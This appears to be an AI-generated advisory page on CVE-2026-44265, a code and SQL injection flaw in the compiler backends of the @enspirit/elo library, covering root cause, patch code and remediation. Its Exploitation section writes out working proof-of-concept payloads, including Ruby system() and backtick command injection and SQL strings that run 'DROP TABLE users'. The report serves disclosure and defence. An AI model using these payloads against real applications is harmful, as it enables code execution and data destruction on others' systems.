CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-44265

CVE-2026-44265: Code and SQL Injection via Programmatic AST Emission in @enspirit/elo

Alon Barad
Alon Barad
Software Engineer

Nov 3, 2026·9 min read·3 visits

Executive Summary (TL;DR)

Elo compiler backends (@enspirit/elo < 1.0.1) interpolate programmatic AST node properties directly into generated JavaScript, Python, Ruby, and SQL code without runtime validation, enabling Remote Code Execution (RCE) and SQL Injection when untrusted AST structures are compiled.

A code injection and SQL injection vulnerability exists in @enspirit/elo prior to version 1.0.1. When compiling expressions via the programmatic Abstract Syntax Tree (AST) API, the backend emitters for JavaScript, Ruby, Python, and PostgreSQL SQL fail to perform runtime type validation or lexical verification on AST node properties. Applications that construct or deserialize AST nodes from untrusted sources allow attackers to inject arbitrary code or SQL commands directly into the emitted target output.

Vulnerability Overview

@enspirit/elo is a functional expression language designed for no-code and low-code applications. Rather than executing within a custom virtual machine, Elo operates as a source-to-source compiler that translates expressions into four target languages: JavaScript (compileToJavaScript), Python (compileToPython), Ruby (compileToRuby), and PostgreSQL SQL (compileToSQL). Applications typically use Elo to evaluate user-defined formulas, data transformations, or filtering queries safely across frontend, backend, and database layers.

In addition to parsing raw Elo expression strings, the library exposes a programmatic Abstract Syntax Tree (AST) and Intermediate Representation (IR) API. This API allows host applications to construct, manipulate, or deserialize AST structures directly (for example, from JSON payloads sent by visual expression builders or third-party plugins) and pass them directly to the backend compiler functions.

Prior to version 1.0.1, the compiler backends relied exclusively on compile-time TypeScript type definitions to guarantee the structural integrity of AST nodes. Because TypeScript types are erased at runtime, passing deserialized or untyped AST objects bypassed the lexical constraints normally enforced by the Elo text parser. This flaw is classified under CWE-94 (Improper Control of Generation of Code), CWE-89 (SQL Injection), and CWE-20 (Improper Input Validation).

When an application passes attacker-controlled AST fields to the compiler functions, the emitters concatenate or interpolate those fields verbatim into the target source code. Depending on the backend utilized by the host application, this results in arbitrary code execution within the JavaScript, Python, or Ruby runtime, or SQL injection within the PostgreSQL database.

Root Cause Analysis

The root cause of CVE-2026-44265 is an architectural trust boundary mismatch between the Elo parser and the backend code emitters (emitJS, emitPy, emitRuby, and emitSQL). When an expression is processed through the standard text parser, the lexer enforces strict token rules: numeric literals can only contain digits, and identifiers are restricted to alphanumeric characters and underscores ([a-zA-Z_][a-zA-Z0-9_]*). The backend emitters assumed that any AST or IR object received had already undergone this lexical validation.

When developers invoke the compiler APIs using programmatically constructed or JSON-deserialized ASTs, the parser is bypassed entirely. Although the TypeScript interfaces specify types such as number for numeric literals, JavaScript's dynamic runtime allows string values inside those properties when deserialized from JSON. Across at least 23 distinct emission sinks spanning seven AST node categories, the backend compilers interpolated these properties directly into output strings without runtime checks.

Specifically, numeric literal nodes (int_literal and float_literal) were emitted by calling ir.value.toString(). In JavaScript, calling .toString() on a String primitive returns the unmodified string itself. Consequently, an attacker supplying a string payload inside the value field of a numeric literal node caused the emitter to write raw executable syntax directly into a numeric expression context.

Similarly, identifier-like fields—including variable.name, member_access.property, object_literal keys, datapath segments, lambda parameter names, and let binding names—were concatenated directly into template literals. None of the four backends verified that these strings conformed to valid identifier syntax, allowing attackers to break out of the intended syntactic context using quotes, parentheses, semicolons, or subshell operators.

Code Analysis

The vulnerability spans src/compilers/javascript.ts, src/compilers/python.ts, src/compilers/ruby.ts, and src/compilers/sql.ts. Prior to commit fb57dd37a2669d9c412454225c5b89a2adba5d93, the emitters performed raw template interpolation on IR properties. While version 0.9.7 had previously addressed string and date literals using JSON.stringify(), numeric literals and identifier fields remained unvalidated.

To remediate the vulnerability across all backends simultaneously, the maintainers introduced a centralized runtime validation module in src/compilers/_validate.ts:

// src/compilers/_validate.ts
const IDENTIFIER_RE = /^[a-zA-Z_][a-zA-Z0-9_]*$/;
 
export function assertNumericLiteral(value: unknown): number {
  // Enforces at runtime that the value is a primitive number and not NaN/Infinity
  if (typeof value !== 'number' || !Number.isFinite(value)) {
    throw new Error(
      `Invalid numeric literal value: expected a finite number, got ${typeof value} (${JSON.stringify(value)})`
    );
  }
  return value;
}
 
export function assertSafeIdentifier(name: unknown, context: string): string {
  // Enforces strict lexical rules matching the Elo parser's identifier grammar
  if (typeof name !== 'string' || !IDENTIFIER_RE.test(name)) {
    throw new Error(
      `Invalid ${context}: must match ${IDENTIFIER_RE}, got ${JSON.stringify(name)}`
    );
  }
  return name;
}
 
export function assertSafeDatapathSegment(segment: unknown): string | number {
  // Allows only safe integer array indices or strict identifier strings
  if (typeof segment === 'number' && Number.isInteger(segment)) {
    return segment;
  }
  if (typeof segment === 'string' && IDENTIFIER_RE.test(segment)) {
    return segment;
  }
  throw new Error(
    `Invalid datapath segment: must be a safe identifier or integer index, got ${JSON.stringify(segment)}`
  );
}

Each compiler backend was updated to invoke these assertion functions prior to string interpolation. For example, in the emitters, direct property accesses were replaced with validated calls:

// Before patch (Vulnerable emission pattern across backends):
case 'int_literal':
case 'float_literal':
  return ir.value.toString();
case 'variable':
  return ir.name;
case 'member_access':
  return `${ctx.emit(ir.object)}.${ir.property}`;
 
// After patch (Secured emission pattern):
case 'int_literal':
case 'float_literal':
  return assertNumericLiteral(ir.value).toString();
case 'variable':
  return assertSafeIdentifier(ir.name, 'variable name');
case 'member_access':
  return `${ctx.emit(ir.object)}.${assertSafeIdentifier(ir.property, 'member_access property')}`;

The fix is comprehensive with respect to the identified AST injection vectors. By enforcing a strict allowlist regex (^[a-zA-Z_][a-zA-Z0-9_]*$) on all identifier-like fields and verifying typeof value === 'number' with Number.isFinite() on numeric literals, the patch prevents syntactic breakout across all four target languages. Furthermore, restricting datapath segments to either safe identifiers or integers eliminates single-quote escaping flaws in SQL and symbol array breakouts in Ruby.

Exploitation

Exploitation requires a target application to accept untrusted input (such as a JSON object representing an AST or expression definition) and pass it to one of Elo's compilation functions (compileToJavaScript, compileToPython, compileToRuby, or compileToSQL), followed by executing the resulting code or query. No privileges or user interaction are required once the attacker can influence the AST structure.

Multi-Backend Remote Code Execution via Numeric Literals

Because int_literal and float_literal nodes call .toString() on ir.value, supplying a string containing an expression grouped in parentheses allows immediate code execution across JavaScript, Ruby, and Python:

// JavaScript RCE PoC
const jsAst = {
  type: 'literal',
  value: "(console.log('PWN_INT_JS'),1)"
};
// compileToJavaScript(jsAst) emits:
// (function(_) { return (console.log('PWN_INT_JS'),1); })(null);
 
// Ruby RCE PoC
const rubyAst = {
  type: 'literal',
  value: "(system('touch /tmp/pwn_int_ruby'); 1)"
};
// compileToRuby(rubyAst) executes system() when evaluated
 
// Python RCE PoC
const pyAst = {
  type: 'literal',
  value: "(print('PWN_INT_PY') or 1)"
};
// compileToPython(pyAst) evaluates arbitrary Python expressions

SQL Injection via Variable Names and Let Bindings

In the PostgreSQL backend (compileToSQL), undefined variables are emitted directly as column identifiers, and let bindings are emitted into SELECT ... AS <name> clauses. An attacker can inject stacked queries or arbitrary SQL expressions:

// Variable Name SQLi PoC
const sqlVarAst = {
  type: 'variable',
  name: "1; DROP TABLE users; --"
};
// compileToSQL(sqlVarAst) emits:
// 1; DROP TABLE users; --
 
// Let-Binding SQLi PoC
const sqlLetAst = {
  type: 'let',
  bindings: [{ name: 'x; DROP TABLE users; --', value: { type: 'literal', value: 1 } }],
  body: { type: 'literal', value: 0 }
};
// compileToSQL(sqlLetAst) emits:
// (SELECT 0 FROM (SELECT 1 AS x; DROP TABLE users; --) AS _let)

Ruby Command Execution via Datapath Segments and Lambda Breakout

In Ruby, datapath segments are emitted as a symbol array ([:segment1, :segment2]). By injecting a comma followed by a system() call or backticks, an attacker breaks out of the symbol syntax. Similarly, injecting closing parentheses into lambda.params[].name breaks out of the function signature in JavaScript, Python, and Ruby:

// Ruby Datapath PoC
const dpAst = {
  type: 'datapath',
  segments: ["a, system(`touch /tmp/pwn_dp_ruby`)"]
};
// compileToRuby(dpAst) emits:
// [:a, system(`touch /tmp/pwn_dp_ruby`)]
 
// Lambda Parameter Injection PoC
const lambdaAst = {
  type: 'lambda',
  params: [{ name: 'x); alert(1); (' }],
  body: { type: 'literal', value: 1 }
};
// compileToJavaScript(lambdaAst) emits:
// (x); alert(1); (() => 1

Impact Assessment

The vulnerability carries a CVSS v3.1 base score of 7.4 (High) with the vector CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H. The Attack Complexity is rated High (AC:H) and Attack Vector Local (AV:L) because exploitation depends on the host application exposing the programmatic AST compilation API to untrusted inputs rather than using the standard Elo text parser.

When this prerequisite condition is met, the impact across Confidentiality, Integrity, and Availability is High (C:H/I:H/A:H). In applications compiling ASTs to JavaScript (Node.js or browser), Python, or Ruby, successful exploitation grants arbitrary code execution with the full privileges of the runtime process. Attackers can read environment variables, access internal network resources, modify application state, or establish persistent reverse shells.

In applications utilizing the compileToSQL backend with PostgreSQL, attackers achieve arbitrary SQL injection. Because the injected payload is placed directly into identifier or expression positions prior to query execution, standard parameterized query bindings ($1) do not prevent the injection. Depending on whether the database driver supports stacked queries and the privileges of the database user, an attacker can exfiltrate, modify, or destroy all data within the database.

Remediation

The primary remediation is to upgrade @enspirit/elo to version 1.0.1 or later. Version 1.0.1 enforces strict runtime type checking and regular expression validation across all AST emission sinks in all four compiler backends, throwing a runtime Error if any numeric literal or identifier field violates lexical constraints.

> [!NOTE] > Upgrading to version 1.0.1 may cause runtime exceptions if an application relies on non-standard identifier characters (such as hyphens or spaces) inside programmatic AST variable names, object keys, or datapath segments.

If immediate upgrading is not feasible, integrators must implement strict schema validation at the application boundary before passing deserialized data to Elo compiler functions. Using runtime validation libraries such as Zod, TypeBox, or JSON Schema, verify that all literal numeric values satisfy typeof val === 'number' && Number.isFinite(val) and that all identifier fields match /^[a-zA-Z_][a-zA-Z0-9_]*$/.

Alternatively, if the host application does not strictly require programmatic AST ingestion, refactor the integration to serialize expressions into raw Elo code strings and pass them through the standard Elo text parser before compilation. Finally, adhere to defense-in-depth practices by evaluating compiled target code within restricted sandboxes (such as isolated V8 contexts for JavaScript) and executing generated SQL queries under least-privilege database roles.

Official Patches

enspiritGitHub Security Advisory GHSA-x9rp-7wh3-2rj5
enspiritCore validation patch introducing src/compilers/_validate.ts

Fix Analysis (2)

Technical Appendix

CVSS Score
7.4/ 10
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

@enspirit/elo (npm package)

Affected Versions Detail

Product
Affected Versions
Fixed Version
@enspirit/elo
enspirit
< 1.0.11.0.1
AttributeDetail
CVE IDCVE-2026-44265 (GHSA-x9rp-7wh3-2rj5)
Primary CWECWE-94 (Code Injection) / CWE-89 (SQL Injection)
CVSS v3.1 Score7.4 High (CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected Component@enspirit/elo (< 1.0.1) Compiler Backends
Patched Version1.0.1
ImpactRemote Code Execution (JS, Python, Ruby) & SQL Injection (PostgreSQL)
Exploit StatusProof of Concept (PoC) Available
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Improper Control of Generation of Code ('Code Injection')

The software constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Vulnerability Timeline

Partial fix released in v0.9.7 addressing string/date literal emitters
2026-01-27
Security fix committed (fb57dd37a2669d9c412454225c5b89a2adba5d93) and v1.0.1 released
2026-04-20
CVE-2026-44265 and GHSA-x9rp-7wh3-2rj5 published
2026-11-03

References & Sources

  • [1]GitHub Security Advisory: GHSA-x9rp-7wh3-2rj5
  • [2]Patch Commit: Validate identifier and numeric-literal IR nodes
  • [3]Release Commit: v1.0.1
  • [4]CVE-2026-44265 Record
  • [5]Elo GitHub Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 minutes ago•CVE-2026-115878
7.8

CVE-2026-115878: Arbitrary Code Execution via Nested Pickle Deserialization in Stanford NLP Stanza Lemmatizer

CVE-2026-115878 (GHSA-gh9r-c94j-cmp5) is an arbitrary code execution vulnerability in the Stanford NLP Stanza Python library affecting version 1.14.0. The flaw originates from insecure deserialization of untrusted data (CWE-502) within the lemmatizer model loading pipeline in stanza/models/lemma/trainer.py. While Stanza utilizes PyTorch's weights_only=True flag during outer checkpoint loading, it embeds a gzip-compressed pickle byte stream inside the checkpoint dictionary. Because PyTorch treats raw bytes objects as safe primitives, the nested payload bypasses the outer allowlist and is subsequently passed to an unrestricted pickle.loads() call, enabling arbitrary code execution when loading a malicious model.

Amit Schendel
Amit Schendel
0 views•9 min read
•about 2 hours ago•CVE-2026-44266
9.8

CVE-2026-44266: Remote Code Execution in @enspirit/elo Ruby Compiler Backend via Unescaped String Interpolation

CVE-2026-44266 (GHSA-7w38-ggh5-v542) is a code injection vulnerability in @enspirit/elo prior to version 1.0.1. The Ruby target compiler fails to escape the hash character (#) when emitting double-quoted Ruby string literals and subtype constraint failure labels. An attacker who supplies crafted Elo expressions to an application compiling and executing Ruby output achieves arbitrary code execution.

Alon Barad
Alon Barad
2 views•10 min read
•about 3 hours ago•CVE-2026-44267
9.8

CVE-2026-44267: Sandbox Escape and Arbitrary Code Execution in Elo Expression Language

CVE-2026-44267 is a sandbox escape and code injection vulnerability in @enspirit/elo prior to version 1.0.1. Due to unrestricted member access transformation in the compiler pipeline, plain Elo expression strings can traverse JavaScript object prototypes via .constructor.constructor to access the host runtime Function constructor. This allows attackers supplying untrusted Elo expressions to execute arbitrary JavaScript in Node.js server environments or client browser contexts.

Amit Schendel
Amit Schendel
5 views•9 min read
•1 day ago•CVE-2026-62374
7.1

CVE-2026-62374: Silent Claim-Set Reduction and Verification Bypass in SD JWT JS

CVE-2026-62374 (GHSA-f9j6-8p6x-r9j6) is a verification bypass vulnerability in the OpenWallet Foundation SD JWT JS library (@sd-jwt/core and @sd-jwt/decode versions 0.19.0 and earlier). Due to permissive UTF-8 decoding and the omission of mandatory reference checks during presentation verification, tampered or unreferenced disclosures are silently dropped rather than rejected. This deviates from RFC 9901 §7.1 requirements and allows attackers to execute silent claim-set reduction attacks against relying parties.

Alon Barad
Alon Barad
10 views•10 min read
•1 day ago•GHSA-J656-3HF2-FVJC
6.1

GHSA-j656-3hf2-fvjc: Read-Only SQL Validation Bypass via Comment Interpretation Conflict in Bytebase DBHub

An interpretation conflict in Bytebase DBHub (< 0.22.6) allows attackers to bypass read-only SQL query restrictions when connected to MySQL or MariaDB instances. Because DBHub's custom SQL tokenizer treats any '--' sequence as a comment, whereas MySQL and MariaDB require trailing whitespace or a control character, crafted queries containing '--' immediately followed by non-whitespace characters allow stacked destructive SQL statements to execute on connections configured as read-only.

Alon Barad
Alon Barad
6 views•9 min read
•3 days ago•CVE-2026-118777
4.8

CVE-2026-118777: Prototype Pollution in Forge HTTP Client Cookie Management

CVE-2026-118777 is a prototype pollution vulnerability (CWE-1321) in the Forge JavaScript cryptography and networking library (distributed on npm as node-forge) prior to version 1.4.1. The flaw resides in the forge.http client subsystem, where incoming HTTP cookie names and paths parsed from Set-Cookie response headers are stored directly into standard JavaScript objects without key validation or property isolation. By returning crafted Set-Cookie headers containing keys such as __proto__ or constructor, a malicious HTTP server can inject arbitrary properties into Object.prototype, attach attributes to the global Object constructor, or delete built-in prototype methods to cause an application-wide denial of service.

Amit Schendel
Amit Schendel
10 views•10 min read